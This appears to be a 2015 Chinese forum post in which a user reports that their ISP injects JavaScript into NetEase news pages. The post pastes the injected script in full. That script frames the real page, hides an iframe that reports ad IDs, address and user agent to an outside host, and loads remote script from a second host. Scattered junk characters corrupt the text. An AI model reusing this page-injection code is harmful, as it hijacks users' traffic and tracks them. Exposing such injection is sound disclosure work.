|
|
本帖最后由 hudba 于 2015-2-3 00:56 编辑 8 Y K+ ^9 ^* l2 a% |' t
2 `; k6 F# ?3 z6 {# y4 N6 l上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了/ @5 u- K7 G( v
8 o" S8 G) ^0 F0 a# p3 v( |接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}$ U. P3 s$ v' @1 T1 K' A: g
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197
% i. G k4 u0 L; B1 r. g ~( e6 o& S3 y4 T7 R
顺便查下ip138:, S! c7 E* _* m0 q6 ~
% b6 y& N6 A! J% f( B4 d这是那段js里面的代码,好象是个半成品还没写入广告数据: A9 I5 I; z( I2 r
- function locationSearch() {( C& M* o" R; l3 C- s3 K
- var s = getMainJs();
1 S9 s3 y) Z# j0 U) {% G) W2 m - if (s == null) {
- z2 E' G' M4 ^4 i# A! {) |7 i - location.reload();' k- P' n2 L- P; G( M+ [
- }
* G2 ^5 O8 c1 @% Z - return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
; a- W6 M+ ^4 ^9 f; ?2 {8 q - }0 z% y: O. g1 g
7 O+ O' B+ G1 U" I, l% R- function getParameter(name, paraStr) {- `- f2 N, N, m) X9 m; U
- var result = "";
+ L2 p7 r/ \. R4 S - var str = "&" + paraStr.split("?")[1];
4 T( A7 I7 _+ y. o7 _ - var paraName = "&" + name + "=";
- f8 h/ o' b0 L" S8 X' |3 O - if (str.indexOf(paraName) != -1) {/ t: P6 K; e4 Q: w
- if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {0 q& |5 h/ H& o
- var TmpStr = str.substring(str.indexOf(paraName), str.length);
u, Y" Y8 P# w$ c! B6 y - result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
5 e, U0 h" z8 l( X - 1, TmpStr.length).indexOf("&")3 i. R1 P; x* \( }# Q: |/ w
- - TmpStr.indexOf(paraName) + 1);
& ^4 s) _ ]2 J. s$ P - } else {
7 Q3 V0 o+ C& J9 n7 i3 F5 w - result = str.substring(str.indexOf(paraName), str.length);
% Q, Z" ]! o& c) n1 W - }6 i$ {7 A7 X3 [& m! b8 E# T
- 1 d, B& e) Z1 X {6 N4 \% v) P
- result = result.substring(result.indexOf("=") + 1, result.length);: p& W2 a; ~) t
- } else {& g9 j& Y9 r& `- W0 \
- result = "No such parameter";
+ x& }% s5 M. y, a, L$ ^% E - }
, l# r; S: O8 F5 ?/ u+ G8 _ - return (result.replace("&", ""));$ h# a7 B% K- o V( U
- }% H4 M! W6 h! N$ @) T. C
- ' a: o# K9 Y4 u' ?
- function getMainJs() {
: L9 ~# O4 f% o7 q8 o* K9 \+ h# u n+ F - var scripts = document.getElementsByTagName("script");+ V% L: n9 z6 z9 s5 J3 n# {
- var s = null;
- S6 Q1 w# L2 Y; S2 B4 O - for (var i = 0; i < scripts.length; i++) {
- E0 d; A- j1 V' C' `# m8 [ - if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
+ A4 _/ t! A$ U; b' A) W0 u" I4 K - s = scripts[i];" k. V' s! x1 z# ]- g: l- c
- break;/ _3 ^5 `& U9 e# k! i2 U
- }& [* \4 T/ p) z
- }# w; ~5 o$ g# g$ k
- return s;: X; C. V+ P: f6 ~. |' @- e9 _
- }
0 \8 a# ~! b. P* e$ H: w; E - + l8 ~7 i7 X+ i
- function appendParam(oStr, aStr) {$ {0 M$ B9 F) h/ b% A% W0 x
- if (oStr.indexOf('?') > 0) {' q; ?4 b% L9 w1 P$ r* X0 C; ^
- oStr = oStr + "&" + aStr; k5 ]. |& e& _% u% b
- } else {; W' R8 X y% U8 K) U
- oStr = oStr + "?" + aStr;
% }4 v7 r/ Q& L0 u+ N6 k - }
6 R# h ? j2 K& U - return oStr;7 q; Q/ m. w, Y+ p
- }* L4 ]; Z8 H3 M. }& _. o
- T9 H0 U0 O# ]8 `9 p" V$ p2 P8 g
- window.onerror = function() {
3 F9 U& p9 H% K6 R4 g% d3 y - };, G; Y S. c% p% y: }' k
- 2 L) y) d; e: }# }7 [
- var g_titleTime = 0;
5 X5 _8 d8 Q) B4 U& Z5 o' B0 f& l - function setTcTitle() {% f9 k, P; ~ V( _
- if (undefined == document) {
4 n) f L) B- P; Z' m" ]! J - g_titleTime++;
$ _ n5 q0 Z5 f& M - setTimeout("setTcTitle();", 1000);1 m2 `; U/ s2 f: k
- return;/ P. z! _- G1 c' k% A7 p! c
- }
" s- ]( W8 [9 | - ( r8 E& D7 Q2 P+ q
- var doc;, | n' ]' @( ?/ @+ K$ b
- try {' N6 u5 \4 u+ m! y2 r# D
- if (document.all) {
. W. I$ |: e" A: N/ \6 z3 w2 |2 N - doc = document.frames["cn"].document;
}( m: m' G0 R$ e5 M& ?' B6 C - } else {& y8 b: `$ O6 n* `4 ]& a
- doc = document.getElementById("cn").contentDocument;, K& z" t1 d9 z3 _* O
- }$ L2 } d* O0 @" t& A
- } catch (ex) {3 I! j3 j. p) s6 I! S8 I$ J5 [' _
- }2 V5 s0 n7 T5 r i1 N: O
- 6 D& y5 T0 V0 h! B2 J
- if (g_titleTime < 5
, \" |2 d2 B& m' Q I - && (undefined == doc || undefined == doc.title || "" == doc.title)) {( A+ q& n% Y1 }
- g_titleTime++;: S+ [( H- o. y& f$ [( O/ z9 j/ X `% a
- setTimeout("setTcTitle();", 1000);2 |: D9 W: N5 ? [% z# Z3 T2 f
- return;
# m9 l# y# v" ]3 @$ M# U - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
& z- i _, Y! R2 P2 [" }. N - document.title = doc.title;) W6 `( o7 K4 ^
- setTcAdvVisible();, B$ { ]/ [ U g8 Q7 J
- }- n( E* w6 | C( z( ]+ ?
- }
, J p; e6 @2 j7 d8 M
# ]; Z/ e$ u# j( [" c- setTimeout("setTcTitle();", 1000);2 x$ H6 S0 ^# f, i7 o! g' o4 m
- 1 i. D! `3 M: T+ T" s
- var g_isHaveVisible = false;
, I: d: W5 h( E" N v - function setTcAdvVisible() {
; I) f1 C" N a& e) ~: |; _0 j! w - if (undefined != document && undefined != document.getElementById("addiv")
6 e4 ~0 V. b! Z _ - && !g_isHaveVisible) {
2 z6 _/ t! C( H: l& w - document.getElementById("addiv").style.visibility = 'visible';3 B2 C! e) s- Z" ?
- document.getElementById("addiv").style.display = 'block';
6 y2 k$ S! ?& l3 C - g_isHaveVisible = true;, m& X& {3 q# ^1 p
- }
, B j' L8 |$ } - }
, g' K' V- X( _
: d5 p( F$ \: P) Q- function UrlAnalyzer() {; ]5 j3 ?0 f& _: T" G8 r* X( y; S8 L
- this.divda = "";
5 L9 M$ Y- o$ J! G - this.tctype = "";1 ^: \3 S* d7 _. a: I0 V* z
- this.radius = "";
' m% `* Y: }# ~5 Z/ X4 F - this.rlu = "";. }6 p& U" y8 C0 O% }- u M& y/ }7 e
- }
6 r$ @6 T. J$ N8 r - : D& a1 R5 [( r+ |6 ^' c
- UrlAnalyzer.prototype.initParameters = function() {
! Z3 ?' M5 z7 X& }% e& r - var paraStr = locationSearch();
W j" W. ?( M) `; } - this.rlu = getParameter("lruedct", paraStr);& I3 U( L) Y+ S* B! T% H. I* Z
- this.divda = getParameter("divda", paraStr);
) k' l, i0 w3 V e - this.radius = getParameter("radius", paraStr);
# c! p& |1 J2 m" r; }: q" C% Z O - this.tctype = getParameter("tctype", paraStr);) s7 I; ^" s( ~) V: t0 E
- this.address = getParameter("address", paraStr);$ {, _. `# @/ E( w9 F8 o" h
- this.usagent = getParameter("usagent", paraStr);2 x _2 \7 l3 a5 }
- }
4 Q. G) E, ^1 e% H - ) p3 T# S5 ?# `( r# s# L
- UrlAnalyzer.prototype.getHtmlDoc = function() {3 E% I, w+ ^$ P6 D, Z" q: N5 U9 [
- var doc;
, T; B' r {" y- [ f* Y% J - try {
( O8 J5 h; U* [+ e' e* ~) y! i - if (document.all) {# M" l \: }- a6 g, Z& W% d% ]3 ~# T
- doc = document.frames["cn"].document;0 Y. }, I3 \. m2 ?
- 4 L5 g7 O7 D! N" y8 e
- } else {3 m* }8 S& n+ I% r" _
- doc = document.getElementById("cn").contentDocument;4 w& R3 s3 C5 \: U. ]/ q
- // doc = document.getElementById("cn").contentWindow.document;
1 y* u9 s5 `) n4 ?7 ~, q - }
% D4 _6 q2 ~! n - } catch (ex) {) E0 x' i6 z1 S/ l7 D6 a
- }
$ X/ Y# [& \, `6 w) D* W8 o% w - return doc;
" v% d. Q1 v$ P$ D - }
. g0 O4 q; [) f+ }
8 }, G4 v9 ~3 U$ e& P$ b! s- UrlAnalyzer.prototype.setDomain = function() {
3 G. J0 }; W, j1 n& e - if (undefined != document.title && "" == document.title), P4 s s2 ]* J* n
- { f) K$ O3 } o c2 }) g
- var index = document.domain.indexOf(".");6 T5 \7 {& P7 R+ I9 {: c: }/ d% b
- if (undefined != index && -1 != index) {3 S- V2 [, y n# K
- document.domain = document.domain.substring(index + 1,
* r1 }& s3 G( s" s - document.domain.length);9 A. N' \0 L1 r% q& ^
- }
% B/ F& m8 z5 b9 F9 V - & g6 g3 x8 R" C' u$ V
- var doc = this.getHtmlDoc();% n m5 _; L$ A9 {2 K
- if (undefined != doc && undefined != doc.title && "" != doc.title) {
i0 K& `) U* C# B5 d7 p$ J - document.title = doc.title;0 M; _( K8 c; f" T# K
- setTcAdvVisible();$ c4 Y w8 [0 G) k( b4 l- D
- }
$ f, C" g. U! a& k! ?" J - }! }; ]0 L9 r/ [. f8 S/ J
- }6 J7 O5 e1 K' z; w6 K3 x: _1 v( S7 p+ _
- * R2 N& z) p, h/ Z5 k
- UrlAnalyzer.prototype.iframeCallback = function() {( a6 p; S5 A/ \7 b" E) L! H, x2 {
- var doc = this.getHtmlDoc();1 t" g0 T) y9 X( b# S6 W
- if (undefined == doc || undefined == doc.title || "" == doc.title) {) ?5 T1 A" q( N' M$ ~3 O/ _
- if (undefined != document.domain) {0 J% Z) m' M, J. N
- 0 d% x i5 s; i, G1 F7 Y: `* [* o
- var self = this;
) p1 O! R1 j9 ?) B - setTimeout(function(){self.setDomain.call(self, null)}, 1000);
, Y! D) O" b) ?% P5 X. G( x- j - // var index = document.domain.indexOf(".");
: C; [6 b7 e$ }% e4 E; t3 h7 q1 a - // if (undefined != index && -1 != index) {/ H' ~; b2 ]- j# Z9 f
- // document.domain = document.domain.substring(index + 1,
) O! D. G2 g C5 W* z" _ - // document.domain.length);
( l I/ { y9 K$ w - // }
+ {. [" `5 v6 j; a/ i# F7 P7 @ - //) @! L' r9 {1 N2 ]4 y E3 g
- // var doc = this.getHtmlDoc();
, @) q. I1 _+ p! I& [ - // if (undefined != doc && undefined != doc.title && "" !=
+ h9 `. x# i/ O) c: C" m - // doc.title) {
& u3 Q( ~& k( I+ B - // document.title = doc.title;/ P, i' d& A! k, M/ {4 V0 S
- // setTcAdvVisible();0 r' k# ?) _- m5 Q
- // }
0 G+ d# W; w9 J% d$ j - }) d, ?6 S! t' }9 E! W
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
$ {4 X. D. b1 b( Y Z3 o, v6 H - document.title = doc.title;
, b/ w& M% F+ S - setTcAdvVisible();
7 c+ _1 ]" s/ d! l4 Q - }2 }2 c0 A; n- L d! V$ x
- }
/ b$ h) j3 s9 t
9 C! i! |' u5 z3 _8 p, Z- UrlAnalyzer.prototype.executeHtmlContext = function() {
6 \. N9 w: d. `6 m1 d( z6 A' v - var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda( O4 ^& Z5 [0 e; F& C; {
- + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;5 {3 ~, Y) ?" u5 [: {- R9 S
- , M9 { C: \. P: \* t$ u
- var htmlStr = "<iframe src="" + staUrl
% c$ e* I0 ?$ {, t* x3 g9 r - + "" style="display:none"></iframe>";
' g" K0 Y% i6 l/ o6 \. _( j
/ r6 D8 u( j7 r' ^4 n" N! T0 [- var advUrl = htmlStr2 W. y) m+ n: |6 H8 h3 D8 E5 j
- + "<script src="http://c2.sxite.com:8060/center?advId="& [7 I2 S& ?( H, G
- + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";
, s- [. A) n6 y9 g+ ? O - document.write(advUrl);
( Y/ ]- m( k X6 t - 0 u. z8 Q0 l& y3 F) I% T1 t
- var self = this;" R% s* v1 t' g3 z4 w' g, h+ O
- var iframe = document.getElementById("cn");
+ m$ j9 I: a$ Z; r - if (iframe.attachEvent) {
# ^& V0 ]9 K x, h, t, N - iframe.attachEvent("onload", function() {
0 X: w+ A9 Q# N6 \* C - self.iframeCallback.call(self, null);
* q3 E$ M) ?7 S- U `4 t - });# l' R# \% Q' s( H; w
- } else {
( \$ d& s w p2 k( ^" j5 a9 e - iframe.onload = function() {
- N4 w( p4 Q4 s' K - self.iframeCallback.call(self, null);5 E7 {1 g; @3 {2 y7 j$ A
- }+ U/ g& l# @, w9 b5 z- s
- }1 M9 S: Y3 C) o7 \$ A( K0 C
- }* ^' E O9 B8 r- ^% w6 G
- . o0 S4 r! W: \4 {
- UrlAnalyzer.prototype.executeMain = function() {2 Q3 v# ~. T' `! [4 y5 v
- var mainFrame = document.getElementById("cn");
& S- i$ t: K7 `: L3 e1 Y+ K# } - mainFrame.contentWindow.location.href = mainFrame.src;
7 h2 q/ d) @( h3 b - this.initParameters();
) X0 i9 ?0 x- H4 C } - this.executeHtmlContext();
, E2 G4 J A r# v - }
4 T$ P9 e7 I2 K( V4 H6 d; p - ( v7 ~4 ]3 `/ J0 z+ K
- var g_analyzer = new UrlAnalyzer();( g/ y [' M1 c8 Z* ?& y
- g_analyzer.executeMain();
# l# I8 N6 K9 \! c* l
复制代码 5 X/ q$ B5 P3 ^9 r3 D
: P/ W" R5 i( A7 x
# m% s. {& h$ S8 v. h
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|